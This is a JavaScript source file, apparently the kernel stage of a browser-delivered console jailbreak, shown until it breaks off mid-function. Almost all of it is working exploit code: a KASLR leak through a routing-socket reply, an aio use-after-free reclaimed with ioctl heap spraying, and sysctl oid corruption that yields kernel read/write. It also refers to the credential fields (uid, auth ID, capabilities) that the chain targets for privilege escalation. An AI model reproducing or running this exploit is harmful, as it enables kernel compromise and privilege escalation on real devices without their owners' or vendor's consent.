exploit.js

import { int64 } from "./int64.js";

const SYS = {
  read: 0x003,
  write: 0x004,
  close: 0x006,
  getpid: 0x014,
  getuid: 0x018,
  recvfrom: 0x01d,
  ioctl: 0x036,
  munmap: 0x049,
  socket: 0x061,
  setsockopt: 0x069,
  netGetIfList: 0x07d,
  socketpair: 0x087,
  getrlimit: 0x0c2,
  setrlimit: 0x0c3,
  sysctl: 0x0ca,
  thrSelf: 0x1b0,
  rtprioThread: 0x1d2,
  cpusetGetAffinity: 0x1e7,
  cpusetSetAffinity: 0x1e8,
  isInSandbox: 0x249,
  pipe2: 0x2af,
  aioWait: 0x297,
  aioCancel: 0x29a,
  aioSubmit: 0x29d,
  aioPoll: 0x298,
};

const AF_UNIX = 1,
  AF_INET = 2,
  AF_ROUTE = 17,
  AF_INET6 = 28;
const SOCK_STREAM = 1,
  SOCK_RAW = 3;
const MSG_DONTWAIT = 0x80;
const RLIMIT_NOFILE = 8;
const CPU_LEVEL_WHICH = 3,
  CPU_WHICH_TID = 1;
const RTP_SET = 1,
  PRI_REALTIME = 2,
  PRI_NORMAL = 3;
const AIO_CMD_READ = 1;

/** Sony's UMA size classes, and the zone each allocation lands in. */
const UMA_CLASS_LIMIT = [
  14, 30, 62, 126, 254, 510, 1022, 2046, 4094, 8190, 16382, 32766, 65536,
];
const UMA_CLASS_NAME = [
  16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536,
];

/** Keys of window.KRW the chain will not start without. */
const REQUIRED_OFFSETS = [
  "firmware",
  "allproc",
  "kernelData",
  "kernelPid",
  "nodeMutex",
  "rootvnode",
  "kaslr.mode",
  "kaslr.retStatic",
  "kaslr.retLow16",
  "oid.originalKind",
  "oid.writableKind",
  "oid.a.kind",
  "oid.a.kindByte3",
  "oid.a.arg1",
  "oid.a.arg1Byte1",
  "oid.a.arg1Value",
  "oid.a.deadSink",
  "oid.b.kind",
  "oid.b.kindByte3",
  "oid.b.arg1",
  "oid.b.arg1Value",
  "oid.b.visible",
  "oid.c.kind",
  "oid.c.arg1",
  "oid.c.arg1Value",
  "oid.c.mib",
  "walkCounter.addr",
  "walkCounter.mib",
  "rodataProbe.rva",
  "rodataProbe.text",
  "aio.waiterSize",
  "aio.requestSize",
  "aio.group.num",
  "aio.group.state",
  "aio.group.waiters",
  "aio.idTable.pages",
  "aio.idTable.slotStride",
  "aio.idTable.entryType",
  "proc.pid",
  "proc.ucred",
  "proc.fd",
  "proc.aioInfo",
  "proc.dynlib",
  "ucred.uid",
  "ucred.ruid",
  "ucred.svuid",
  "ucred.ngroups",
  "ucred.rgid",
  "ucred.svgid",
  "ucred.sceAuthId",
  "ucred.sceCaps",
  "ucred.sceCaps1",
  "ucred.sceAttrs",
  "sysCoreAuthId.lo",
  "sysCoreAuthId.hi",
  "filedesc.files",
  "filedesc.cdir",
  "filedesc.rdir",
  "filedesc.jdir",
  "filedescTable.nfiles",
  "filedescTable.ofiles",
  "filedescTable.entryStride",
  "filedescTable.fileData",
  "pipe.count",
  "pipe.in",
  "pipe.out",
  "pipe.size",
  "pipe.buffer",
  "pipe.pair",
  "pipe.defaultSize",
  "dynlib.syscallStart",
  "dynlib.syscallEnd",
  "dynlib.restrictFlags",
  "dynlib.libkernelRef",
];

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

function umaZoneOf(size) {
  for (let i = 0; i < UMA_CLASS_LIMIT.length; i++)
    if (size <= UMA_CLASS_LIMIT[i]) return UMA_CLASS_NAME[i];
  return 0;
}

function lookup(root, path) {
  return path
    .split(".")
    .reduce((node, key) => (node == null ? undefined : node[key]), root);
}

/**
 * Validate the firmware table before anything touches the kernel. Reporting
 * every missing key at once is the difference between porting a firmware in
 * one pass and porting it one console reboot at a time.
 */
function requireOffsets() {
  const krw = window.KRW;
  if (!krw)
    throw new Error(
      "offsets/" + window.fw_str + ".js did not define window.KRW",
    );

  const unfilled = (value) =>
    value === undefined ||
    value === null ||
    (Array.isArray(value) && value.length === 0) ||
    value === "";

  const missing = REQUIRED_OFFSETS.filter((path) =>
    unfilled(lookup(krw, path)),
  );
  if (missing.length)
    throw new Error(
      "window.KRW is missing " +
        missing.length +
        " required key(s) for fw " +
        krw.firmware +
        ": " +
        missing.join(", "),
    );

  if (krw.kaslr.mode !== "rtmsg2")
    throw new Error("kaslr mode '" + krw.kaslr.mode + "' is not implemented");

  return krw;
}

/** Numeric tuning knobs, overridable from the query string for bring-up. */
function readTuning() {
  const query = new URLSearchParams(location.search);
  const num = (name, fallback) => {
    const raw = query.get(name);
    const value = raw === null ? NaN : parseInt(raw, 10);
    return Number.isFinite(value) && value > 0 ? value : fallback;
  };
  return {
    // Waiters per arming. Each one above the first is a usable decrement.
    waiters: num("numw", 18),
    // Requests per reclaim submit. waiters*0x38 and requests*0x28 must land
    // in the same UMA zone or the reclaim cannot work at all.
    requests: num("numr", 13),
    // Reclaim shape: ioctl churn before the free, after it, then submits.
    churnBefore: num("pre", 32),
    churnAfter: num("churn", 256),
    sprays: num("spray", 64),
    // Sacrificial aio requests used to park the worker threads.
    workerBlockers: num("block", 24),
    waitTimeoutUs: num("tmo", 10000),
  };
}

/**
 * Run the whole chain.
 *
 * @param {object} p      userland read/write primitive from mem.js
 * @param {object} chain  ROP worker from main.js's prepare()
 * @param {function} log  on-screen logger
 * @returns {Promise<{kbase: int64|null}>}
 */
export async function runKernelExploit(p, chain, log) {
  return new KernelExploit(p, chain, log).run();
}

// main.js resolves the kernel exploit by this name.
globalThis.runAioExploit = runKernelExploit;

class KernelExploit {
  constructor(p, chain, log) {
    this.p = p;
    this.chain = chain;
    this.onScreen = typeof log === "function" ? log : () => {};
    this.showOnScreen = !/[?&]log=0(&|$)/.test(location.search);

    this.off = requireOffsets();
    this.tuning = readTuning();

    this.kbase = null;
    this.curproc = null;
    this.ucred = null;
    this.procFdAddr = null;
    this.master = null;
    this.victim = null;

    this.fds = [];
    this.sequence = 0;

    // b.arg1's high dword after the steer: it points into the kernel image.
    this.windowHigh = 0xffffffff;

    // Every group ever handed to aio_multi_wait, recorded before the chain
    // runs so a mid-arming abort still leaves a repairable record.
    this.armedGroups = [];

    this.scratch = {
      states: p.malloc(0x400, 1),
      qword: p.malloc(8, 1),
    };
  }

  // ---- logging ---------------------------------------------------------

  report(tag, detail) {
    const text =
      detail === undefined || detail === null || detail === ""
        ? String(tag)
        : tag + " " + String(detail).replace(/&/g, "+");
    this.sequence++;

    if (typeof window.__rep === "function") {
      try {
        window.__rep(tag, text.slice(tag.length + 1));
      } catch (e) {
        /* best effort */
      }
    } else {
      try {
        new Image().src =
          "log/s" + this.sequence + "-" + encodeURIComponent(text);
      } catch (e) {
        /* best effort */
      }
    }
    if (this.showOnScreen) this.onScreen(text);
  }

  // ---- primitives ------------------------------------------------------

  async sys(number, ...args) {
    return this.chain.syscall(number, ...args);
  }
  async sysInt(number, ...args) {
    return (await this.sys(number, ...args)).low | 0;
  }

  readU8(base, offset) {
    return this.p.read1(base.add32(offset));
  }
  readU32(base, offset) {
    return this.p.read4(base.add32(offset));
  }
  readU64(base, offset) {
    return this.p.read8(base.add32(offset));
  }
  writeU8(base, offset, value) {
    this.p.write1(base.add32(offset), value & 0xff);
  }
  writeU32(base, offset, value) {
    this.p.write4(base.add32(offset), value >>> 0);
  }
  writeU64(base, offset, value) {
    this.p.write8(base.add32(offset), value);
  }

  alloc(size) {
    const buffer = this.p.malloc(size, 1);
    this.clear(buffer, size);
    return buffer;
  }
  clear(buffer, size) {
    for (let i = 0; i < size; i += 4) this.p.write4(buffer.add32(i), 0);
  }

  /** Absolute kernel address of a text-relative offset. */
  kaddr(rva) {
    return this.kbase.add32(rva);
  }

  isKernelPointer(value) {
    return (
      !!value &&
      value.hi >>> 16 === 0xffff &&
      (value.low & 7) === 0 &&
      !(value.hi === 0xffffffff && value.low === 0xffffffff)
    );
  }

  // ---- thread affinity -------------------------------------------------

  async currentAffinity() {
    const mask = this.alloc(0x10);
    const id = new int64(0xffffffff, 0xffffffff);
    const rv = await this.sysInt(
      SYS.cpusetGetAffinity,
      CPU_LEVEL_WHICH,
      CPU_WHICH_TID,
      id,
      0x10,
      mask,
    );
    return { rv, mask: this.readU32(mask, 0) >>> 0 };
  }

  async pinToSingleCore() {
    const id = new int64(0xffffffff, 0xffffffff);
    const allowed = (await this.currentAffinity()).mask;
    this.allowedMask = allowed;

    let core = -1;
    for (let c = 0; c < 16 && core < 0; c++) if (allowed & (1 << c)) core = c;
    if (core < 0) {
      this.report("PIN", "no allowed core in mask 0x" + allowed.toString(16));
      return false;
    }

    const mask = this.alloc(0x10);
    this.writeU8(mask, (core >> 3) & 0xf, 1 << (core & 7));
    const set = await this.sysInt(
      SYS.cpusetSetAffinity,
      CPU_LEVEL_WHICH,
      CPU_WHICH_TID,
      id,
      0x10,
      mask,
    );
    const back = await this.currentAffinity();

    const rtprio = this.alloc(0x10);
    this.writeU8(rtprio, 0, PRI_REALTIME);
    let prio = await this.sysInt(SYS.rtprioThread, RTP_SET, 0, rtprio);
    let priorityClass = "realtime";
    if (prio !== 0) {
      this.clear(rtprio, 0x10);
      this.writeU8(rtprio, 0, PRI_NORMAL);
      if ((await this.sysInt(SYS.rtprioThread, RTP_SET, 0, rtprio)) === 0) {
        prio = 0;
        priorityClass = "normal";
      }
    }

    this.pinnedCore = core;
    const ok = set === 0 && back.mask === (1 << core) >>> 0;
    this.report(
      "PIN",
      "allowed=0x" +
        allowed.toString(16) +
        " core=" +
        core +
        " back=0x" +
        back.mask.toString(16) +
        " prio=" +
        priorityClass +
        " ok=" +
        (ok ? 1 : 0),
    );
    return ok;
  }

  async restoreThreadAttributes(why) {
    if (this.threadAttributesRestored) return true;

    const id = new int64(0xffffffff, 0xffffffff);
    const want = this.allowedMask >>> 0 || 0xea00;
    const mask = this.alloc(0x10);
    this.writeU8(mask, 0, want & 0xff);
    this.writeU8(mask, 1, (want >>> 8) & 0xff);
    const set = await this.sysInt(
      SYS.cpusetSetAffinity,
      CPU_LEVEL_WHICH,
      CPU_WHICH_TID,
      id,
      0x10,
      mask,
    );
    const back = await this.currentAffinity();

    const rtprio = this.alloc(0x10);
    this.writeU8(rtprio, 0, PRI_NORMAL);
    const prio = await this.sysInt(SYS.rtprioThread, RTP_SET, 0, rtprio);

    this.threadAttributesRestored = set === 0 && back.mask === want;
    this.report(
      "UNPIN",
      "why=" +
        why +
        " affinity=0x" +
        back.mask.toString(16) +
        " want=0x" +
        want.toString(16) +
        " prio_rv=" +
        prio +
        " ok=" +
        (this.threadAttributesRestored ? 1 : 0),
    );
    return this.threadAttributesRestored;
  }

  // ---- sysctl ----------------------------------------------------------

  mibBuffer(mib) {
    const buffer = this.alloc(4 * mib.length + 8);
    mib.forEach((value, i) => this.writeU32(buffer, i * 4, value));
    return buffer;
  }

  async sysctl(mib, oldPtr, oldLen, newPtr, newLen) {
    const mibPtr = this.mibBuffer(mib);
    const lenPtr = this.alloc(8);
    this.writeU32(lenPtr, 0, oldLen >>> 0);
    const rv = await this.sysInt(
      SYS.sysctl,
      mibPtr,
      mib.length,
      oldPtr || 0,
      oldPtr ? lenPtr : 0,
      newPtr || 0,
      newLen >>> 0,
    );
    return { rv, len: oldPtr ? this.readU32(lenPtr, 0) >>> 0 : 0 };
  }

  async sysctlReadInt(mib) {
    const value = this.alloc(8);
    const { rv } = await this.sysctl(mib, value, 4, 0, 0);
    return { rv, value: this.readU32(value, 0) | 0 };
  }

  async sysctlWriteInt(mib, value) {
    const buffer = this.alloc(8);
    this.writeU32(buffer, 0, value >>> 0);
    return (await this.sysctl(mib, 0, 0, buffer, 4)).rv;
  }

  async nameToMib(name) {
    const nameBuf = this.alloc(name.length + 1);
    for (let i = 0; i < name.length; i++)
      this.writeU8(nameBuf, i, name.charCodeAt(i));
    const out = this.alloc(0x60);
    const { rv, len } = await this.sysctl(
      [0, 3],
      out,
      0x60,
      nameBuf,
      name.length,
    );
    if (rv !== 0) return null;
    const mib = [];
    for (let i = 0; i < len >>> 2; i++) mib.push(this.readU32(out, i * 4) | 0);
    return mib;
  }

  /** oid kind dword, or null when the oid is hidden (reported as ENOENT). */
  async oidKind(mib) {
    const out = this.alloc(0x100);
    const { rv } = await this.sysctl([0, 4].concat(mib), out, 0x100, 0, 0);
    return rv === 0 ? this.readU32(out, 0) >>> 0 : null;
  }

  // ---- step 1: KASLR ---------------------------------------------------

  async firstInterfaceAddress() {
    const RECORD = 0x3c0,
      IP = 40;
    const count = await this.sysInt(SYS.netGetIfList, 0, 10);
    if (count <= 0 || count > 256) return null;

    const list = this.alloc(RECORD * count);
    if ((await this.sysInt(SYS.netGetIfList, list, count)) < 0) return null;

    for (let i = 0; i < count; i++) {
      const octets = [0, 1, 2, 3].map((b) =>
        this.readU8(list, RECORD * i + IP + b),
      );
      if (octets.some((o) => o !== 0)) return octets;
    }
    return null;
  }

  async leakKernelBase() {
    const sockaddrLen = (len) => (len ? ((len - 1) & ~7) + 8 : 8);
    const DST_LEN = 88;
    const AUTHOR = 152 + sockaddrLen(DST_LEN);
    const MSG_LEN = AUTHOR + 256;
    const AUTHOR_INDEX = 6;
    const RET_SLOT = 184;

    const dst = await this.firstInterfaceAddress();
    if (!dst) throw new Error("kaslr: no interface has an address");

    const fd = await this.sysInt(SYS.socket, AF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) throw new Error("kaslr: AF_ROUTE socket is gated");
    this.fds.push(fd);

    const timeout = this.alloc(16);
    this.writeU32(timeout, 0, 5);
    await this.sysInt(SYS.setsockopt, fd, 0xffff, 0x20, timeout, 16);

    const msg = this.alloc(512);
    this.writeU8(msg, 0, MSG_LEN & 0xff);
    this.writeU8(msg, 1, (MSG_LEN >>> 8) & 0xff);
    this.writeU8(msg, 2, 5); // RTM_VERSION
    this.writeU8(msg, 3, 0x04); // RTM_GET
    this.writeU32(msg, 12, 0x41); // RTA_DST | RTA_AUTHOR
    this.writeU32(msg, 20, 0x1234); // rtm_seq
    this.writeU8(msg, 152, DST_LEN);
    this.writeU8(msg, 153, AF_INET);
    this.writeU32(
      msg,
      156,
      (dst[3] << 24) | (dst[2] << 16) | (dst[1] << 8) | dst[0],
    );
    this.writeU8(msg, AUTHOR + 0, 255);
    this.writeU8(msg, AUTHOR + 1, AF_INET6);
    if ((await this.sysInt(SYS.write, fd, msg, MSG_LEN)) < 0)
      throw new Error("kaslr: routing socket rejected the request");

    const reply = this.alloc(4096);
    let len = 0;
    for (let attempt = 0; attempt < 8 && len <= 0; attempt++) {
      len = await this.sysInt(
        SYS.recvfrom,
        fd,
        reply,
        4096,
        MSG_DONTWAIT,
        0,
        0,
      );
      if (len <= 0) await sleep(1);
    }
    if (len <= 0) throw new Error("kaslr: no routing reply");

    const present = this.readU32(reply, 12) | 0;
    let cursor = 152,
      author = 0;
    for (let i = 0; i < 8; i++) {
      if (!(present & (1 << i))) continue;
      if (cursor + 2 > len) break;
      if (i === AUTHOR_INDEX) {
        author = cursor;
        break;
      }
      cursor += sockaddrLen(this.readU8(reply, cursor));
    }
    if (!author || author + 200 > len)
      throw new Error("kaslr: reply carries no author record");

    const { retStatic, retLow16 } = this.off.kaslr;
    const ret = this.readU64(reply, author + RET_SLOT);
    if (ret.hi !== 0xffffffff || (ret.low & 0xffff) !== (retLow16 & 0xffff))
      throw new Error(
        "kaslr: author+" +
          RET_SLOT +
          " = 0x" +
          ret.toString() +
          " is not the expected return address",
      );

    this.kbase = new int64((ret.low - retStatic) >>> 0, ret.hi);
    this.report(
      "KASLR",
      "kbase=0x" +
        this.kbase.toString() +
        " aligned=" +
        ((this.kbase.low & 0x3fff) === 0 ? 1 : 0),
    );
    return true;
  }

  // ---- step 2: offset verification (read-only) -------------------------

  async verifyOffsets() {
    const counterMib = this.off.walkCounter.mib;

    const first = await this.sysctlReadInt(counterMib);
    if (first.rv !== 0) {
      this.report(
        "VERIFY",
        "walk counter is not readable -- wrong offsets, STOP",
      );
      return false;
    }
    await sleep(400);
    const second = await this.sysctlReadInt(counterMib);
    if (first.value !== second.value) {
      this.report("VERIFY", "walk counter moves on its own -- unusable, STOP");
      return false;
    }

    this.mibA = await this.nameToMib("kern.smp.cpus");
    this.mibB = await this.nameToMib("kern.smp.maxcpus");
    if (!this.mibA || !this.mibB) {
      this.report("VERIFY", "name2oid failed for the smp oids, STOP");
      return false;
    }

    const kindA = await this.oidKind(this.mibA);
    const { originalKind, writableKind } = this.off.oid;
    const ok = kindA === originalKind || kindA === writableKind;
    this.report(
      "VERIFY",
      "fw=" +
        this.off.firmware +
        " counter=" +
        first.value +
        " cpus=[" +
        this.mibA +
        "] maxcpus=[" +
        this.mibB +
        "]" +
        " A.kind=" +
        (kindA === null ? "ENOENT" : "0x" + kindA.toString(16)) +
        " -> " +
        (ok ? "offsets match this kernel" : "KIND MISMATCH, STOP"),
    );
    return ok;
  }

  // ---- step 3: the decrement primitive ---------------------------------

  async raiseFdLimit() {
    const limit = this.alloc(0x10);
    if ((await this.sysInt(SYS.getrlimit, RLIMIT_NOFILE, limit)) === -1) return;
    this.writeU64(limit, 0, this.readU64(limit, 8));
    await this.sysInt(SYS.setrlimit, RLIMIT_NOFILE, limit);
  }

  /**
   * Park the aio worker threads on a socketpair that never becomes readable,
   * before we claim the requests we intend to arm. aio_multi_cancel walks a
   * request only while its state is exactly 1; a worker that picks one up
   * moves it to 2 and that walk is lost.
   *
   * The worker count is not published, so submit in batches and stop when the
   * parked count stops growing. These requests are never passed to
   * aio_multi_wait, so they are never armed and can never walk.
   */
  async parkAioWorkers(limit) {
    const pair = this.alloc(8);
    if (
      (await this.sysInt(SYS.socketpair, AF_UNIX, SOCK_STREAM, 0, pair)) === -1
    )
      throw new Error("socketpair for the worker park failed");

    const readFd = this.readU32(pair, 0);
    const writeFd = this.readU32(pair, 4);
    this.fds.push(readFd, writeFd);
    this.workerPark = { readFd, writeFd };

    const sink = this.alloc(0x40);
    const request = this.alloc(0x40);
    const ids = this.alloc(4 * limit + 8);
    const states = this.alloc(4 * limit + 8);
    const idOut = this.alloc(8);

    let sent = 0,
      parked = 0,
      quietRounds = 0,
      refused = false;
    while (sent < limit && quietRounds < 2 && !refused) {
      for (let i = 0; i < 4 && sent < limit; i++) {
        this.clear(request, 0x40);
        this.writeU32(request, 0x08, 1);
        this.writeU64(request, 0x10, sink);
        this.writeU32(request, 0x20, readFd);
        if (
          (await this.sysInt(
            SYS.aioSubmit,
            AIO_CMD_READ,
            request,
            1,
            3,
            idOut,
          )) !== 0
        ) {
          refused = true;
          break;
        }
        this.writeU32(ids, sent * 4, this.readU32(idOut, 0));
        sent++;
      }
      if (refused) break;

      await sleep(60);
      await this.sysInt(SYS.aioPoll, ids, sent, states);
      let inFlight = 0;
      for (let i = 0; i < sent; i++)
        if ((this.readU32(states, i * 4) & 0xffff) === 2) inFlight++;

      if (inFlight === parked) quietRounds++;
      else {
        parked = inFlight;
        quietRounds = 0;
      }
    }

    this.report(
      "PARK",
      "sacrificial=" +
        sent +
        " parked=" +
        parked +
        " fd=" +
        readFd +
        (refused ? " (submit refused: aio request cap)" : ""),
    );
    return parked;
  }

  async claimPendingRequests(count) {
    const spawn = Math.max(count + 8, 0x18);
    const spawnedIds = this.alloc(4 * spawn);
    const request = this.alloc(0x40);
    const sink = this.alloc(0x40);
    const pair = this.alloc(8);
    const idOut = this.alloc(4);

    for (let i = 0; i < spawn; i++) {
      this.clear(pair, 8);
      if (
        (await this.sysInt(SYS.socketpair, AF_UNIX, SOCK_STREAM, 0, pair)) ===
        -1
      )
        throw new Error("socketpair failed while claiming requests");
      const readFd = this.readU32(pair, 0);
      const writeFd = this.readU32(pair, 4);
      this.fds.push(readFd, writeFd);

      this.clear(request, 0x40);
      this.writeU32(request, 0x08, 1);
      this.writeU64(request, 0x10, sink);
      this.writeU32(request, 0x20, readFd);
      await this.sysInt(SYS.aioSubmit, AIO_CMD_READ, request, 1, 3, idOut);
      this.writeU32(spawnedIds, i * 4, this.readU32(idOut, 0));
    }

    const oneId = this.alloc(4);
    const oneState = this.alloc(4);
    const kept = [];
    const deadline = Date.now() + 3000;
    while (kept.length < count && Date.now() < deadline) {
      for (let i = 0; i < spawn && kept.length < count; i++) {
        if (kept.indexOf(i) >= 0) continue;
        this.writeU32(oneId, 0, this.readU32(spawnedIds, i * 4));
        await this.sysInt(SYS.aioPoll, oneId, 1, oneState);
        if ((this.readU32(oneState, 0) & 0xffff) === 1) kept.push(i);
      }
      if (kept.length < count) await sleep(20);
    }
    if (kept.length < count)
      throw new Error(
        "only " + kept.length + "/" + count + " requests stayed pending",
      );

    const ids = this.alloc(4 * count);
    kept.forEach((index, i) =>
      this.writeU32(ids, i * 4, this.readU32(spawnedIds, index * 4)),
    );
    return { ids, count };
  }

  /** The bytes a reclaimed waiter node must contain for the walk to land. */
  buildWaiterNodes(count, firstTarget, secondTarget) {
    const nodes = this.alloc(count * this.off.aio.requestSize);
    for (let i = 0; i < count; i++)
      this.writeU32(nodes, i * this.off.aio.requestSize + 0x20, 0xffffffff);
    this.writeU64(nodes, 0x00, firstTarget);
    this.writeU64(nodes, 0x08, secondTarget);
    this.writeU64(nodes, 0x10, this.kaddr(this.off.nodeMutex));
    this.writeU64(nodes, 0x18, new int64(0, 0));
    return nodes;
  }

  /**
   *
   * @returns {?{dangling: object, firstPending: number, heads: number}}
   */
  async reclaimWaiterArray(tag, firstTarget, secondTarget) {
    const {
      waiters,
      requests,
      churnBefore,
      churnAfter,
      sprays,
      waitTimeoutUs,
    } = this.tuning;
    const { waiterSize, requestSize } = this.off.aio;

    const waiterZone = umaZoneOf(waiters * waiterSize);
    const requestZone = umaZoneOf(requests * requestSize);
    this.report(
      tag + "-PLAN",
      "waiters=" +
        waiters +
        " (" +
        waiters * waiterSize +
        "B)" +
        " requests=" +
        requests +
        " (" +
        requests * requestSize +
        "B)" +
        " zone=" +
        waiterZone +
        "/" +
        requestZone +
        " churn=" +
        churnBefore +
        "+" +
        churnAfter +
        " spray=" +
        sprays,
    );
    if (waiterZone !== requestZone) {
      this.report(
        tag,
        "NO-GO: waiter array and reclaim buffer are in different zones",
      );
      return null;
    }

    // Fresh groups every arming. A group we have already waited on has a
    // non-NULL waiter head, and the kernel would chain the old freed head
    // into the new node -- the walk would then traverse freed chunks.
    const dangling = await this.claimPendingRequests(waiters);
    const ids = [];
    for (let i = 0; i < dangling.count; i++)
      ids.push(this.readU32(dangling.ids, i * 4) >>> 0);
    this.armedGroups.push({ tag, ids });

    const nodes = this.buildWaiterNodes(requests, firstTarget, secondTarget);
    const sprayedIds = this.alloc(4 * requests * (sprays + 1));
    const returns = this.alloc(8 * (sprays + 1));
    const timeout = this.alloc(16);
    this.writeU32(timeout, 0, waitTimeoutUs);

    // IOC_IN | (size << 16) | group 'A' | number 1. The size field is what
    // picks the malloc class, and it must match the reclaim buffer exactly.
    const churnRequest =
      (0x80000000 | ((requests * requestSize) << 16) | 0x4101) >>> 0;

    // Preflight the churner outside the chain: it has to fail at the fd
    // lookup, which is proof the malloc/copyin/free before it really ran.
    const preflight = await this.sysInt(
      SYS.ioctl,
      0xffffffff,
      churnRequest,
      nodes,
    );
    if (preflight !== -1) {
      this.report(
        tag,
        "NO-GO: churn ioctl returned " +
          preflight +
          " instead of -1" +
          " -- the request encoding is wrong and nothing was allocated",
      );
      return null;
    }

    this.chain.clear();
    for (let i = 0; i < churnBefore; i++)
      this.chain.add_syscall(SYS.ioctl, 0xffffffff, churnRequest, nodes);
    this.chain.add_syscall(
      SYS.aioWait,
      dangling.ids,
      dangling.count,
      this.scratch.states,
      0,
      timeout,
    );
    for (let i = 0; i < churnAfter; i++)
      this.chain.add_syscall(SYS.ioctl, 0xffffffff, churnRequest, nodes);
    for (let i = 0; i < sprays; i++)
      this.chain.add_syscall_ret(
        returns.add32(i * 8),
        SYS.aioSubmit,
        AIO_CMD_READ,
        nodes,
        requests,
        3,
        sprayedIds.add32(i * 4 * requests),
      );
    await this.chain.run();
    let accepted = 0;
    for (let i = 0; i < sprays; i++)
      if ((this.readU32(returns, i * 8) | 0) === 0) accepted++;
    if (accepted !== sprays) {
      this.report(
        tag,
        "NO-GO: " +
          (sprays - accepted) +
          " of " +
          sprays +
          " submits unwound" +
          " and may have freed the reclaimed chunk. Lower ?spray= and reboot.",
      );
      return null;
    }
    this.report(
      tag + "-RECLAIM",
      "submits=" + accepted + "/" + sprays + " requests=" + sprays * requests,
    );

    // Only a request in state 1 will walk. Poll once (poll never touches the
    // waiter head) so "no walk" can be told apart from "cancel was skipped".
    await this.sysInt(
      SYS.aioPoll,
      dangling.ids,
      dangling.count,
      this.scratch.states,
    );
    const histogram = {};
    let firstPending = -1;
    for (let i = 0; i < dangling.count; i++) {
      const state = this.readU32(this.scratch.states, i * 4) & 0xffff;
      histogram[state] = (histogram[state] || 0) + 1;
      if (state === 1 && firstPending < 0) firstPending = i;
    }
    this.report(
      tag + "-STATES",
      "hist=" + JSON.stringify(histogram) + " first_pending=" + firstPending,
    );
    if (firstPending < 0) {
      this.report(tag, "NO-GO: nothing is in state 1, no head would walk");
      return null;
    }

    const canary = dangling.count - 1;
    if (canary !== firstPending) {
      await this.sysInt(
        SYS.aioCancel,
        dangling.ids.add32(canary * 4),
        1,
        this.scratch.states,
      );
      this.report(
        tag + "-CANARY",
        "id=" + canary + " returned, pre-walk path is clean",
      );
    }

    return { dangling, firstPending, heads: dangling.count - 1 };
  }

  async flipOidKind(tag, reclaim, mib, target) {
    let kind = await this.oidKind(mib);
    if (kind === null) {
      this.report(tag, "NO-GO: oid is hidden before the flip");
      return false;
    }

    let fired = 0,
      dead = 0;
    for (let i = 0; i < reclaim.heads && kind !== target; i++) {
      await this.sysInt(
        SYS.aioCancel,
        reclaim.dangling.ids.add32(i * 4),
        1,
        this.scratch.states,
      );
      fired++;

      const next = await this.oidKind(mib);
      if (next === null) {
        this.report(tag, "NO-GO: oid went hidden mid-flip, STOP");
        return false;
      }
      if (next === kind) dead++;
      kind = next;

      if (((kind >>> 24) & 0xff) < ((target >>> 24) & 0xff)) {
        this.report(
          tag,
          "OVERSHOT to 0x" +
            kind.toString(16) +
            " -- borrowed into oid_arg1. Unrecoverable this boot, REBOOT.",
        );
        return false;
      }
    }

    if (kind !== target) {
      this.report(
        tag,
        "NO-GO: ran out of heads at kind=0x" +
          kind.toString(16) +
          " (fired=" +
          fired +
          " dead=" +
          dead +
          "). Raise ?numw= and reboot.",
      );
      return false;
    }
    this.report(
      tag,
      "OK kind=0x" +
        kind.toString(16) +
        " in " +
        fired +
        " cancels" +
        " (dead=" +
        dead +
        ")",
    );
    return true;
  }

  // ---- step 4: slow kernel read/write ----------------------------------

  async setWindowLow(value) {
    return this.sysctlWriteInt(this.mibA, value >>> 0);
  }

  async setWindowHigh(value) {
    if (this.mibC) return this.sysctlWriteInt(this.mibC, value >>> 0);

    // Legacy path, only usable while the high dword is still in the kernel
    // image: point B at its own high dword and let it write itself.
    if (this.windowHigh !== 0xffffffff) return -1;
    const selfHigh = this.kaddr(this.off.oid.b.arg1 + 4);
    const rv = await this.setWindowLow(selfHigh.low);
    return rv !== 0 ? rv : this.sysctlWriteInt(this.mibB, value >>> 0);
  }

  async aimWindow(address) {
    const high = address.hi >>> 0;
    if (this.windowHigh !== high) {
      const rv = await this.setWindowHigh(high);
      if (rv !== 0) return rv;
      this.windowHigh = high;
    }
    return this.setWindowLow(address.low);
  }

  async kread32(address) {
    if ((await this.aimWindow(address)) !== 0) return { rv: -1, value: 0 };
    const { rv, value } = await this.sysctlReadInt(this.mibB);
    return { rv, value: value >>> 0 };
  }

  async kwrite32(address, value) {
    if ((await this.aimWindow(address)) !== 0) return -1;
    return this.sysctlWriteInt(this.mibB, value >>> 0);
  }

  async kread64(address) {
    const low = await this.kread32(address);
    const high = await this.kread32(address.add32(4));
    return { rv: low.rv | high.rv, value: new int64(low.value, high.value) };
  }

  async kwrite64(address, value) {
    const rv = await this.kwrite32(address, value.low);
    return rv !== 0 ? rv : this.kwrite32(address.add32(4), value.hi);
  }

  async prepareHighWriter() {
    const { c, b, writableKind } = this.off.oid;

    if (this.windowHigh === null) {
      const probe = await this.sysctlReadInt(c.mib);
      if (probe.rv !== 0) {
        this.report(
          "KRW-C",
          "NO-GO: resumed load but C is not readable. REBOOT.",
        );
        return false;
      }
      this.mibC = c.mib;
      this.report("KRW-C", "adopted the C writer from a previous page load");
      return true;
    }

    if (this.windowHigh !== 0xffffffff) {
      this.report(
        "KRW-C",
        "NO-GO: called too late, the window is already off the image",
      );
      return false;
    }
    if ((await this.kwrite32(this.kaddr(c.kind), writableKind)) !== 0)
      return false;
    if ((await this.kwrite64(this.kaddr(c.arg1), this.kaddr(b.arg1 + 4))) !== 0)
      return false;

    // Two different oids must now agree on one dword by two different paths.
    const probe = await this.sysctlReadInt(c.mib);
    const ok = probe.rv === 0 && probe.value >>> 0 === 0xffffffff;
    this.report(
      "KRW-C",
      "read(C)=0x" +
        (probe.value >>> 0).toString(16) +
        " expect=0xffffffff ok=" +
        (ok ? 1 : 0),
    );
    if (!ok) return false;

    this.mibC = c.mib;
    return true;
  }

  async armKernelReadWrite() {
    const { a, b, c, originalKind, writableKind } = this.off.oid;
    const deadSink = this.kaddr(a.deadSink);
    const expectedSteer = this.kaddr(b.arg1Value).low >>> 0;

    await this.raiseFdLimit();
    await this.parkAioWorkers(this.tuning.workerBlockers);

    // ---- A: kind flip ----
    let kindA = await this.oidKind(this.mibA);
    if (kindA === writableKind) {
      this.report("ARM-A", "already flipped (resumed load)");
    } else if (kindA !== originalKind) {
      this.report(
        "ARM-A",
        "NO-GO: A.kind=0x" +
          (kindA === null ? "ENOENT" : kindA.toString(16)) +
          " is neither the original nor the target. REBOOT.",
